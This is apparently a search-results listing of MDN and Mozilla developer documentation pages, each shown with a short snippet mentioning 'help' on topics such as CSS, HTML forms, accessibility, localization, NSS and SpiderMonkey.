non-normative - MDN Web Docs Glossary: Definitions of Web-related terms
software specifications often contains information marked as non-normative or informative, which means that those are provided there for the purpose of helping the readers to understand the specification better or to show an example or a best practice, and not needed to be followed as a rule.
Speculative parsing - MDN Web Docs Glossary: Definitions of Web-related terms
this document helps you avoid the kind of things that make speculation fail and slow down the loading of your page.
Mobile accessibility - Learn web development
as an example, instead of getting users to fill out their job title each time using a regular text input, you could instead offer a <select> menu containing the most common options (which also helps with consistency in data entry), and offer an "other" option that displays a text field to type any outliers into.
Advanced styling effects - Learn web development
one very nice property, which can help you bring interest to your designs, is the filter property.
Cascade and inheritance - Learn web development
this behavior helps avoid repetition in your css.
Images, media, and form elements - Learn web development
the object-fit property can help you here.
Overflowing content - Learn web development
in addition, some of the methods discussed in sizing items in css may help you create boxes that scale better with varying amounts of content.
Attribute selectors - Learn web development
(aside: it may help to note that ^ and $ have long been used as anchors in so-called regular expressions to mean begins with and ends with.) the next example shows usage of these selectors: li[class^="a"] matches any attribute value which starts with a, so matches the first two list items.
Type, class, and ID selectors - Learn web development
this can be helpful when building up components that can be combined in different ways on your site.
CSS selectors - Learn web development
h1, ..special { color: blue; } types of selectors there are a few different groupings of selectors, and knowing which type of selector you might need will help you to find the right tool for the job.
Sizing items in CSS - Learn web development
understanding how big the different features in your design will be is important, and in this lesson we will summarize the various ways elements get a size via css and define a few terms around sizing that will help you in the future.
CSS values and units - Learn web development
previous overview: building blocks next every property used in css has a value or set of values that are allowed for that property, and taking a look at any property page on mdn will help you understand the values that are valid for any particular property.
Flexbox - Learn web development
introducing a simple example in this article we are going to get you to work through a series of exercises to help you understand how flexbox works.
Floats - Learn web development
clearing the following element doesn't help with this box clearing problem, where you want the bottom of the box to wrap the floated item and wrapping content even if the content is shorter.
Legacy layout methods - Learn web development
this knowledge will be helpful to you if you need to create fallback code for browsers that do not support newer methods, in addition to allowing you to work on existing projects which use these types of systems.
Getting started with CSS - Learn web development
there are a number of selectors that can help you here, but for now we will look at just a couple.
How CSS works - Learn web development
understanding the dom helps you design, debug and maintain your css because the dom is where your css and the document's content meet up.
CSS FAQ - Learn web development
LearnCSSHowtoCSS FAQ
in this article, you'll find some frequently-asked questions (faqs) about css, along with answers that may help you on your quest to become a web developer.
Using CSS generated content - Learn web development
one of the important advantages of css is that it helps you to separate a document's style from its content.
Use CSS to solve common problems - Learn web development
LearnCSSHowto
these articles help demystify some of the more complicated use cases.
Fundamental text and font styling - Learn web development
verdana sans-serif note: among various resources, the cssfontstack.com website maintains a list of web safe fonts available on windows and macos operating systems, which can help you make your decision about what you consider safe for your usage.
Learn to style HTML using CSS - Learn web development
the aim here is to provide you with a toolkit for writing competent css and help you understand all the essential theory, before moving on to more specific disciplines like text styling and css layout.
What do common web layouts contain? - Learn web development
we have over 25 years' experience and we'll give you some common rules of thumb to help you design your site.
What are hyperlinks? - Learn web development
improving a website's use of links is one helpful seo technique.
Common questions - Learn web development
this article provides basic techniques to help you design websites for any kind of user — quick accessibility wins, and other such things.
The HTML5 input types - Learn web development
it is a helpful aid to guide users to fill out a form accurately, and it can save time — it is useful to know that your data is not correct immediately, rather than having to wait for a round trip to the server.
Example 3 - Learn web development
border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.
Example 4 - Learn web development
border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.
Example 5 - Learn web development
border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.
CSS property compatibility table for form controls - Learn web development
however, they will give you good insight into what can and can't be done, which will help you learn how to do things.
Sending form data - Learn web development
the links above will give you some help, should you wish to learn them.
Styling web forms - Learn web development
note: you could also use the transform property to help you with positioning your <legend>.
UI pseudo-classes - Learn web development
the issue is really one of semantics — out-of-range is a more specific type of invalid communication, so you might want to provide a different message for out-of-range inputs, which will be more helpful to users than just saying "invalid".
CSS basics - Learn web development
css comments are a way for you to write helpful notes about your code or logic.
HTML basics - Learn web development
there is no reason not to set this and it can help avoid some problems later on.
JavaScript basics - Learn web development
this article helps you get started with javascript and furthers your understanding of what is possible.
The web and web standards - Learn web development
as a part of the web community, you'll have an entire web of contacts and useful material to help you, and you'll start to enjoy the creative possibilities it brings.
What will your website look like? - Learn web development
it really helps — you don't have to be van gogh!
Use HTML to solve common problems - Learn web development
LearnHTMLHowto
these articles help you tackle the less common use cases you may face: forms forms are a complex html structure made to send data from a webpage to a web server.
Creating hyperlinks - Learn web development
keep your link label as short as possible — this is helpful because screen readers need to interpret the entire link text.
Getting started with HTML - Learn web development
there is no reason not to set this, and it can help avoid some problems later.
HTML text fundamentals - Learn web development
the concept of italics isn't very helpful to people using screen readers, or to people using a writing system other than the latin alphabet.
Introduction to HTML - Learn web development
this article will introduce you to some tools that can help.
Adding vector graphics to the Web - Learn web development
we've included some links below that might help you if you wish to go and find out more about how it works.
Images in HTML - Learn web development
you'll soon realize how helpful alt text is if the image cannot be seen.
HTML table basics - Learn web development
LearnHTMLTablesBasics
note: table headings come with some default styling — they are bold and centered even if you don't add your own styling to the table, to help them stand out.
General asynchronous programming concepts - Learn web development
our example from above is run like this: main thread: render circles to canvas --> display alert() after some time, javascript gained some tools to help with such problems.
Introducing asynchronous JavaScript - Learn web development
previous overview: asynchronous next in this article we briefly recap the problems associated with synchronous javascript, and take a first look at some of the different asynchronous techniques you'll encounter, showing how they can help us solve such problems.
Asynchronous JavaScript - Learn web development
introducing asynchronous javascript in this article we briefly recap the problems associated with sychronous javascript, and take a first look at some of the different asynchronous javascript techniques you'll encounter, showing how they can help us solve such problems.
Build your own function - Learn web development
note: if you have trouble getting the example to work, feel free to check your code against the finished version on github (see it running live also), or ask us for help.
Client-side storage - Learn web development
the javascript code we'll go through below has detailed comments to help you understand what's going on.
Arrays - Learn web development
if you are not sure how to do this, consult the useful string methods article for some help, or even better, look at the converting between strings and arrays section of this article.
What went wrong? Troubleshooting JavaScript - Learn web development
you should see an error message along the following lines: this is a pretty easy error to track down, and the browser gives you several useful bits of information to help you out (the screenshot above is from firefox, but other browsers provide similar information).
Working with JSON - Learn web development
note: if you are having trouble getting the example to work, try referring to our heroes-finished.html source code (see it running live also.) note: if you are having trouble following the dot/bracket notation we are using to access the javascript object, it can help to have the superheroes.json file open in another tab or your text editor, and refer to it as you look at our javascript.
Introducing JavaScript objects - Learn web development
the object-based nature of javascript is important to understand if you want to go further with your knowledge of the language, therefore we've provided this module to help you.
CSS performance optimization - Learn web development
media queries are important for a responsive web design and help us optimize a critical rendering path.
Multimedia: Images - Learn web development
this can be done via the <picture> element with the help of a <source> element equipped with a type attribute.
Web performance resources - Learn web development
knowing this will help you understand how to improve the performance of the site.
What is web performance? - Learn web development
conclusion that's it for now; we hope our brief overview of the web performance topic helped you to get an idea of what it is all about, and made you excited to learn more.
Web performance - Learn web development
it would also be helpful to go a bit deeper into these topics, with modules such as: introduction to html css first steps javascript first steps once you've worked through this module, you'll probably be excited to go deeper into web performance — you can find a lot of further teachings in our main mdn web performance section, including overviews of performance apis, testing and analysis tools, and performanc...
Server-side website programming - Learn web development
similarly, expertise in client-side coding is not required, but a basic knowledge will help you work better with the developers creating your client-side web "front end".
Componentizing our React app - Learn web development
react tries to do its own guesswork to keep track of things, but we can help it out by passing a key prop to our <todo /> components.
Deployment and next steps - Learn web development
even if you are not planning to adopt it, this article will be useful for allowing you to learn what it has to offer and help you make your own decision.
Vue conditional rendering: editing existing todos - Learn web development
this is a useful way to help reinforce everything you've learned so far.
Creating our first Vue component - Learn web development
we can use the lodash package's uniqueid() method to help keep the index unique.
Introduction to cross browser testing - Learn web development
the most lo-fi option is to just do all the testing you can by yourself (pulling in team mates to help out if you are working in a team).
Cross browser testing - Learn web development
what users, browsers, and devices do you most need to worry about?), how to go about doing testing, the main issues that you'll face with different types of code and how to mitigate them, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing.
Understanding client-side web development tools - Learn web development
client-side tooling overview in this article we provide an overview of modern web tooling, what kinds of tools are available and where you’ll meet them in the lifecycle of web app development, and how to find help with individual tools.
Tools and testing - Learn web development
what users, browsers and devices do you most need to worry about?), how to go about testing, the main issues that you'll face with different types of code and how to fix/mitigate those, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing.
Accessibility Features in Firefox
tabbed browsing helps keyboard users by putting all of the browsed documents in one firefox application window rather than cluttering the alt+tab order which makes keyboard navigation within the entire windows os much simpler.
Accessibility/LiveRegionDevGuide
filtering user actions this paragraph describes object properties and event naming schemes that are used to help an at determine if an event is an actual live region event or is the result of user action.
Mozilla accessibility architecture
returning nothing for leaf and text objects also helps speed up tree construction and traversal.
CSUN Firefox Materials
tabbed browsing helps keyboard users by putting all of the browsed documents in one firefox application window rather than cluttering the alt+tab order which makes keyboard navigation within the entire windows os much simpler.
Information for External Developers Dealing with Accessibility
accessibility api cross reference should be helpful at anyone looking at implementing accessibility api support for a product on multiple platforms.
Information for Governments and Other Organizations Evaluating Mozilla
mozilla's section 508 compliance section 508 is a set of accessibility requirements that help us federal agencies decide what software applications they can use.
Mozilla's Section 508 Compliance
an extension called ad block helps remove extra noisy content from web pages that clutter accessibility.
Software accessibility: Where are we today?
in answer to this problem, many small accessibility hardware and software vendors created products and software which helped people who could not perform one of the four basic tasks to use common computer applications.
Frequently Asked Questions for Lightweight themes
consider visiting the firefox support website or the themes forum for more help.
Add-ons
extension workshop the firefox extension workshop can help you develop extensions for firefox and give your users simple, yet powerful ways to customize their browsing experience.
Adding phishing protection data providers
phishing protection technology lets firefox help protect users by comparing the urls the user visits to a list of known scam sites, and presenting a warning to the user when they visit a site on the list.
Benchmarking
it also lacks features such as instruction level profiling which can be helpful in low level profiling, or finding the hot loop inside a large function, etc.
Chrome registration
this is very helpful when trying to write a chrome.manifest file as you can inspect where the files are being mapped from (jar files, local directory, etc.) old-style contents.rdf manifests before the plaintext manifests were introduced (which happened in firefox 1.5, toolkit 1.8), rdf manifests named "contents.rdf" were used to register chrome.
Command line options
-h or -help or -?
Creating reftest-based unit tests
the helper functions snapshotwindow and comparesnapshots are available in testing/mochitest/tests/simpletest/windowsnapshot.js.
Capturing a minidump
once it completes, which can take a fair while, you will have a very large file at c:\temp\firefoxcrash.dmp that can be used to help debug your problem.
Debugging JavaScript
this document is intended to help developers writing javascript code in mozilla, mainly for mozilla itself, but it may also be useful for web developers.
Debugging OpenGL
this can help make it much easier to debug crashes and hangs that make the computer unusable (thereby stymieing attempts to debug).
Debugging update problems
useful preferences enabling the following preferences in about:config can help troubleshoot problems with updates: app.update.log - for application updates; extensions.logging.enabled - for add-on updates.
Articles for new developers
to help you find the most critical stuff as quickly as possible, we've created this list of the articles you'll find most useful as you get yourself oriented and make your first contributions to the project.
Makefile - variables
dest=$(moz_objdir)/$project moz_current_project moz_debug moz_enable_xremote moz_feeds moz_help_viewer moz_native_nspr moz_metro moz_pkg_mainfest moz_preflight_all moz_rdf moz_toolkit_search moz_url_classifier moz_widget_toolkit android, beos, cocoa, gtk2, os2, qt, windows moz_xp...
Windows SDK versions
troubleshooting help!
Obsolete Build Caveats and Tips
these tips, while helpful, are jarring and superfluous to the majority of new mozilla builders who are mainly interested in building the latest version of firefox.
Working with Mozilla source code
the articles below will help you get your hands on the mozilla source code, learn to navigate the code, and how to get the changes you propose checked into the tree.
Error codes returned by Mozilla APIs
this is used by helper app style protocols (for example, mailto).
Security best practices for Firefox front-end engineers
this article will help firefox developers understand the security controls in place and avoid common pitfalls when developing front-end code for firefox.
Embedding Tips
obtain the nsiclipboardcommands interface from the appropriate web browser object via nsiserviceprovider::getinterface (or the do_getinterface() helper method).
HTTP Cache
//github.com/realityripple/uxp/blob/master/netwerk/base/public/nsiloadcontextinfo.idl it is a helper interface wrapping following four arguments into a single one: private-browsing boolean flag anonymous load boolean flag app id number (0 for no app) is-in-browser boolean flag helper functions to create nsiloadcontextinfo objects: c++ consumers: functions at loadcontextinfo.h exported header js consumers: r...
Hacking with Bonsai
helpful attitudes the build team are your friends.
How to get a stacktrace for a bug report
this helps engineers determine whether a particular extension or plugin is the cause of the crash.
How to Report a Hung Firefox
submit a crash report for a hung firefox the easiest way to help the firefox stability team to debug these kinds of hangs is to make the hung firefox crash and submit a crash report.
IME handling guide
ime is a helper application of a user's text input.
IPDL Best Practices
this document is intended to help correct these before the formal review process is initiated.
Extending a Protocol
ctor) so, let's add: already_addrefed<echoparent> windowglobalparent::allocpechoparent() { puts("windowglobalparent::allocpechoparent was called"); refptr<echoparent> actor = new echoparent(); return actor.forget(); } bool windowglobalparent::deallocpechoparent( pechoparent* aactor) { refptr actor = dont_addref(static_cast(aactor)); return true; } the "puts()" there will help us see what's going on once we get things going.
IPDL Type Serialization
if in doubt, please ask for help!
Implementing QueryInterface
in other cases macros may help some people but often cloud the issues for others.
Infallible memory allocation
choosing a memory allocator as you write new code that needs to allocate memory, there are some simple rules to follow to help you decide whether to use a fallible or an infallible memory allocator: if you're allocating what may be a large chunk of memory, you should allocate the memory fallibly (using malloc() for example), and check the result to be sure it's not null.
JavaScript-DOM Prototypes in Mozilla
creates a xpconnect javascript wrapper for a dom object), xpconnect will call the scriptable helper method nsdomclassinfo::postcreate() which will make sure the prototype chain of the wrapper jsobject is properly set up.
AddonType
they are mostly used to help the ui know how to display the different types of add-on.
Downloads.jsm
if you don't activate it, you could use downloads.jsm, but your view will not be called by the external helper app service (when a user click on a file to download, in a web page).
JNI.jsm
name: 'removeview', sig: '(' + sig.view + ')' + sig.void }] }); var acontext = geckoappshell.getcontext(); var wm = acontext.getsystemservice(context.window_service); var wm_casted = jni.classes.android.view.windowmanager.__cast__(wm); } finally { if (my_jenv) { jni.unloadclasses(my_jenv); } } } // helper functions function genmethodsig(aparamsarr, aret) { // aparamsarr is an array of sig's for each param.
OS.File.Error
these exceptions hold both a human-readable error message detailing the i/o error and attributes to help determining the cause of the error.
Deferred
backwards and forwards compatible helper this deferred function can be used for backwards and forwards compatibility, due to a change that took place in firefox 30.
Promise
to help with debugging, only when inspecting a promise object manually, you can see more information as special properties that are inaccessible from code (this, at present, is implemented by randomizing the property name, for the lack of more sophisticated language or debugger support).
Promise.jsm
es/promise.jsm"); note: a preliminary promise module is also available starting from gecko 17, though it didn't conform to the promises/a+ proposal until gecko 25: components.utils.import("resource://gre/modules/commonjs/promise/core.js"); // gecko 17 to 20 components.utils.import("resource://gre/modules/commonjs/sdk/core/promise.js"); // gecko 21 to 24 this implementation also includes helper functions that are specific to the add-on sdk.
Application Translation with Mercurial
the following resources can help figuring out the translation style and translate according to them: check your localization team's page by clicking on the team with your language code (e.g.
Mozilla Content Localized in Your Language
avoiding articles will help ensure that your translations will be accommodated within the user interface.
L10n testing with xcode
this guide should help.
Localizing XLIFF files for iOS
go through the full xliff page adding <target></target> below each <source> tag set to help you to identify strings that need to be translated.
Patching a Localization
i'll use firefox in the example below to help you understand the general steps to creating a l10n patch.
QA phase
the instructions below will help you learn how to use your hg repository.
Localization quick start guide
to help you filter through to the most applicable information, note that all information that is unique to those starting a new localization will be in orange font.
SVN for Localizers
go back to the root of your working directory and execute this command: svn revert * this is a really helpful command because it reverts all of your changes to your working directory's last updated state.
Localization technical reviews
each qa review helps us in these ways: ensures that your l10n work is visible and functional within the mozilla application.
Uplifting a localization from Central to Aurora
ask for help.
What every Mozilla translator should know
to keep the track of what's going on, it's also a good idea to read the planet mozilla l10n when you have a problem use the above mailing lists the person in charge of the mozilla l10n is axel hecht (l10n at mozilla.com), pike on irc another interesting way of getting help is the irc channel #l10n at irc.mozilla.org useful tools the l10n dashboard pontoon narro translate toolkit koala 0.1 mozillatranslator mercurial the hg is organized into several repositories, sometimes called branches.
Writing localizable code
this will more likely be a good key name, and it will help tools to pick up that the change you do is different from just a spell fix.
gettext
to fix this, you may choose to write your own helper gettext functions.
MathML In Action
your feedback can be manifested by putting mathml content on the web, reporting bugs in bugzilla, and, if you can help with code, inspecting/improving the current code, and/or picking up an item in the todo list.
Mozilla MathML Project
mailing list newsgroup rss feed irc channel wiki used by contributors - check out the latest developments and help us improving mathml in mozilla.
Mozilla Style System
when script dynamically changes the data represented by a css style rule, we create a new nsistylerule object; keeping the old one around briefly helps to determine what changed and how we need to handle that change.
mozilla::MonitorAutoEnter
mozilla::monitorautoenter is an raii helper for mozilla::monitor.
mozilla::MutexAutoLock
mozilla::mutexautolock is an raii helper for mozilla::mutex.
mozilla::MutexAutoUnlock
mozilla::mutexautounlock is an raii helper for mozilla::mutex.
Leak-hunting strategies and tips
tips disabling arena allocation with many lower-level leak tools (particularly trace-malloc based ones, like leaksoup) it can be helpful to disable arena allocation of objects that you're interested in, when possible, so that each object is allocated with a separate call to malloc.
Memory Profiler
this is helpful in exploring the relationships among objects and identifying memory leaks.
Profiling with Xperf
to see your xperf version, either run 'xperf' on a command line with no arguments, or start 'xperfview' and look at help -> about performance analyzer.
Firefox Sync
there are also some notes in a google document (that we really must move to its own wiki page) there's also information available to help debug and diagnose android sync issues.
Leak Monitor
david baron that helps extension and chrome developers to find memory leaks.
MailNews automated testing
it allows reviewers to quickly pick up regressions in patches and helps developers to think about different cases.
MailNews
it allows reviewers to quickly pick up regressions in patches and helps developers to think about different cases.
Creating a Cookie Log
thanks for helping us make firefox better!
NSPR Contributor Guide
these guidelines should help the contributor in crafting his contribution, increasing its likelihood for acceptance.
An overview of NSS Internals
if you want to work with nss, it's often helpful to use the command line utilities that are provided by the nss developers.
NSS FAQ
MozillaProjectsNSSFAQ
nss includes detailed documentation of the ssl api and sample code that demonstrates basic ssl functionality (setting up an encrypted session, server authentication, and client authentication) to help jump start the integration process.
Getting Started With NSS
would you like to get involved and help us to improve the core security of mozilla firefox and other applications that make use of nss?
NSS 3.39 release notes
utilpars.h nssutil_addnssflagtomodulespec - a helper function for modifying the pkcs#11 module configuration.
NSS 3.49 release notes
san issue in softoken ckm_nss_chacha20_ctr initialization bug 1590001 - additional hrr tests (cve-2019-17023) bug 1600144 - treat clienthello with message_seq of 1 as a second clienthello bug 1603027 - test that esni is regenerated after helloretryrequest bug 1593167 - intermittent mis-reporting potential security risk sec_error_unknown_issuer bug 1535787 - fix automation/release/nss-release-helper.py on macos bug 1594933 - disable building dbm by default bug 1562548 - improve gcm perfomance on aarch32 this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49 shared libraries are backward compatible with all older nss 3...
NSS 3.55 release notes
if this affects you, please help us narrow down the cause in bug 1653975.
NSS Sample Code Sample1
v) goto done; if (!secitem_itemsareequal(mackey1, mackey2)) { rv = 1; goto done; } if (!secitem_itemsareequal(enckey1, enckey2)) { rv = 1; goto done; } done: if (mackey1) secitem_zfreeitem(mackey1, pr_true); if (mackey2) secitem_zfreeitem(mackey2, pr_true); if (enckey1) secitem_zfreeitem(enckey1, pr_true); if (enckey2) secitem_zfreeitem(enckey2, pr_true); return rv; } // private helper, retrieves the private key for the server // from the database.
NSS reference
if you are inclined to help with this migration, your help would be very much appreciated.
OLD SSL Reference
if you are inclined to help with this migration, your help would be very much appreciated.
gtstd.html
if you are inclined to help with this migration, your help would be very much appreciated.
pkfnc.html
if you are inclined to help with this migration, your help would be very much appreciated.
sslcrt.html
if you are inclined to help with this migration, your help would be very much appreciated.
sslerr.html
if you are inclined to help with this migration, your help would be very much appreciated.
sslkey.html
if you are inclined to help with this migration, your help would be very much appreciated.
ssltyp.html
if you are inclined to help with this migration, your help would be very much appreciated.
NSS Tools modutil
for example, a windows installation might consist of a setup.exe installation program, a help file, and a .cab file containing compressed information.
certutil
a complete list of ecc curves is given in the help (-h).
NSS tools : signtool
to help address some of these problems, you can associate digital signatures with the files in a jar archive.
Necko walkthrough
but the interface for clients of necko is important to consider: send request uri helps creates channel setup channel (headers, request data, response callback...) channel->asyncopen.
Proxies in Necko
this means that callers can just create an nsichannel, not needing to worry about whether the channel will use a proxy or not the basic interfaces for proxies are: nsiproxyinfo, nsiprotocolproxyservice, and nsiproxiedprotocolhandler nsiproxyinfo is a simple helper which stores information about the type of the proxy, its host and its port.
Rhino community
here are some additional resources for help: mailing list rhino discussions happen on the mozilla-rhino group on google groups.
Scripting Java
the most common stumbling block is length, which is a method of java strings and a dynamic property of javascript strings: js> javastring = new java.lang.string("java") java js> jsstring = "javascript" javascript js> javastring.length() 4 js> jsstring.length 10 rhino provides some help in reducing the differences between the two types.
Rhino
rhino help some resources if you get stuck.
Shumway
this article will help you understand shumway — mozilla's open standards-based flash renderer — and what it means for the community of developers currently creating the adobe flash platform.
Rebranding SpiderMonkey (1.8.5)
you may now perform the build and installation of your custom branded spidermonkey library: make note: depending on your system you may need administrative rights to perform the installation: make install the following information isn't technically needed for using your library but it will help other applications use your library.
Future directions
this is good, because it helps the spec work.
Exact Stack Rooting
rootedobject obj(cx, js_newobject(cx, clasp, nullptr(), nullptr()); common pitfalls the c++ type system allows us to eliminate the possibility of most common errors; however, there are still a few things that you can get wrong that the compiler cannot help you with.
Garbage collection
much of the gc work is performed on helper threads.
Property cache
it helps the jit avoid extra loads and guards when calling methods.
SpiderMonkey Internals
they have similar structure, generally starting with class definitions and continuing with internal constructors, finalizers, and helper functions.
JSAPI Cookbook
it's a nice thought—javascript wouldn't crash, at least—but implementing its exact behavior turns out to be quite complicated, and most of the work is not particularly helpful.
JS::CloneFunctionObject
this can be helpful if funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object.
JSAutoCompartment
this article covers features introduced in spidermonkey 24 raii helper to enter a different compartment on the given context and automatically leave it once the jsautocompartment instance gets out of scope.
JS_ClearNewbornRoots
these newborn roots help native code protect newly-created gc-things from gc invocations activated before those things can be rooted using local or global roots.
JS_CloneFunctionObject
this can be helpful if funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object.
JS_DefinePropertyWithTinyId
tiny ids are helpful for getters and setters that are shared by several different properties.
JS_MaybeGC
calling js_maybegc when the application is idle can help prevent garbage collection from happening at less convenient times.
JS_SetGCZeal
this article covers features introduced in spidermonkey 1.8 enable gc zeal, a testing and debugging feature that helps find gc-related bugs in jsapi applications.
JS_THREADSAFE
} garbage collection requests help make garbage collection safe when multiple threads are using the jsapi.
jsdouble
help in the form of test cases, commentary, and patches is always appreciated.
JSAPI reference
38 js_setgczeal added in spidermonkey 1.8 js_schedulegc added in spidermonkey 17 js_dumpheap added in spidermonkey 1.8 js_setgccallbackrt obsolete since jsapi 13 js_setfinalizecallback added in spidermonkey 17 obsolete since jsapi 32 js_markgcthing obsolete since jsapi 5 js_isabouttobefinalized obsolete since jsapi 35 js_clearnewbornroots obsolete since jsapi 5 the rest of these apis help protect objects from being destroyed by the garbage collector before the application is done using them.
Running Parsemark
within js/src/tests, run python parsemark.py -h to see help documentation.
SpiderMonkey: The Mozilla JavaScript runtime
spidermonkey internals: gc separate internals article on the gc spidermonkey internals: hacking tips collection of helpful tips & tools for hacking on the engine related topics javascript foss projects using or based on spidermonkey releases spidermonkey release notes current and past versions: 52, 45, 38, 31, 24, 17 community mailing list spidermonkey questions on stack overflow report a bug ...
Thread Sanitizer
building only the javascript shell if you want to build only the javascript shell instead of doing a full firefox build, the build script below will probably help you to do so.
Zest
anyone can contribute to the onward development of zest, and teams or individuals who develop security tools are especially welcome to join and help shape zest's future.
Mozinfo
mozinfo --help documents command-line usage.
Redis Tips
this is immensely helpful.
The Rust programming language
rust is a new open-source systems programming language created by mozilla and a community of volunteers, designed to help developers create fast, secure applications which take full advantage of the powerful features of modern multi-core processors.
A Web PKI x509 certificate primer
this is one of the most powerful extensions for businesses to have to help limit risk imposed by losing the private key of the ca.
Browser security
this article provides an overview of what these are and how they work.exploitable crashesthis article will help you determine if a crash is exploitable, find crashes which are exploitable, and to fix exploitable crashes.handling mozilla security bugsthis document describes how the new security organizational structure will work, and how security-related mozilla bug reports will be handled.pinning violation reportsif a site makes use of key pinning, and your browser sees a certificate chain for that site wh...
Signing Mozilla apps for Mac OS X
mac os x's gatekeeper functionality prevents users from launching applications that haven't been code-signed, in order to help keep their computers secure.
Implementation Details
under msaa/ia2, watch for event_hide under atk/at-spi, watch for children-changed:remove to help developers in that regard, there is memory leak monitor, a firefox extension.
History Service Design
expiration expiration is an important part of data management for two reasons: privacy: expiring data based on user interaction is important, nothing must be left behind on a page removal database maintenance: having cleaner and smaller tables helps queries performances expiration is done at certain moments, but in future will most likely be moved to async queries, to be executed on a separate thread.
places.sqlite Database Troubleshooting
then open an sqlite shell: my_work_folder> sqlite3 places.sqlite-corrupt sqlite> pragma integrity_check; if the result is ok, this guide won't help; stop here and please file a bug.
The Publicity Stream API
this stream can be pulled down by getpublicitystream() and helps determine the results for getuserrecommendedapps().
FUEL
consider using the add-ons sdk instead fuel is a javascript library designed to help developers build extensions using terminology and interfaces that are familiar to them.
SMILE
this article covers features introduced in seamonkey 2 smile is a javascript library designed to help developers build extensions using terminology and interfaces that are familiar to them.
extIApplication
this content covers features introduced in thunderbird 3 the extiapplication is defined in toolkit/components/exthelper/extiapplication.idl.
extIExtension
extiextension is defined in toolkit/components/exthelper/extiapplication.idl.
extIPreferenceBranch
extipreferencebranch is defined in toolkit/components/exthelper/extiapplication.idl.
extISessionStorage
extisessionstorage is defined in toolkit/components/exthelper/extiapplication.idl.
Creating a Python XPCOM component
it is helpful to then start mozilla from the command line to see if new components register successfully.
How to build an XPCOM component in JavaScript
using the generateqi helper (remove argument if skipped steps above) queryinterface: xpcomutils.generateqi([components.interfaces.nsihelloworld]), // optional, but required if you want your component to be exposed to dom classinfo: xpcomutils.generateci({classid: components.id("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"), contractid: "@dietrich.ganx4.com/helloworld;1", ...
XPCOM changes in Gecko 2.0
changed category names the xpcom category manager is used to register certain global helper objects.
Creating the Component Code
or you can use one of the special "bots" on irc in #developers, where you can also get help from human beings.
Finishing the Component
you can of course improve this backend in many ways, but this example presents the basic creation of what is commonly referred to as a "browser helper object" like weblock.
Setting up the Gecko SDK
this directory structure makes build scripts slightly more complicated (since there will be many different include paths), but it helps to organize the parts of the sdk meaningfully.
Using XPCOM Utilities to Make Things Easier
you should pick a name that makes sense and helps you keep track of things.
Making cross-thread calls using runnables
so we declare an asynchronous version of the same function: typedef void (*picallback)(const nscstring& result); // callback function void calculatepiasynchronously(int digits, picallback callback); creating a runnable nsrunnable is a helper class: it already implements threadsafe refcounting, so all you need to do is override the run() function.
XPCOM guide
MozillaTechXPCOMGuide
this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascript patterns that cause leaks.creating xpcom componentsthis guide is about gecko, and about creating xpcom components for gecko-based applications.how to build an xpcom component in javascriptif you are looking for add-on sdk solution for xpcom javascript components then check out platform/...
How To Pass an XPCOM Object to a New Window
a more useful example is available in the source code: toolkit/components/help/content/contexthelp.js#61 if you want to be able to call functions within an xpcom object from a xul window's code, you can do so if you pass the xpcom object as one of the arguments to the window creation method.
Introduction to XPCOM for the DOM
first we will take a look at xpidl and how it can help you define interfaces.
Components.utils.createObjectIn
this function is made available as a global in sandboxes which have the wantexporthelpers option set in the sandbox() constructor.
Components.utils.evalInWindow
this function is made available as a global in sandboxes which have the wantexporthelpers option set in the sandbox() constructor.
Components.utils.exportFunction
exportfunction() is made available as a global in sandboxes which have the wantexporthelpers option set in the sandbox() constructor.
PyXPCOM
pyxpcom also contains several classes that provide access to functions for initializing and shutting down xpcom and gecko from python, as well as some xpcom helper functions.
Profiling XPCShell
in those cases, an xpcshell script can help.
Observer Notifications
it's used by the context-menu module in the add-on sdk, to help send information to the context-menu code running in the chrome process when a context menu is displayed.
nsACString_internal
methods constructors void nsacstring_internal(const nscsubstringtuple&) - source this is public to support automatic conversion of tuple to string base type, which helps avoid converting to nstastring.
nsAString_internal
methods constructors void nsastring_internal(const nssubstringtuple&) - source this is public to support automatic conversion of tuple to string base type, which helps avoid converting to nstastring.
nsMemory
« xpcom api reference summary the nsmemory class provides static helper routines to manage memory.
XPCOM glue classes
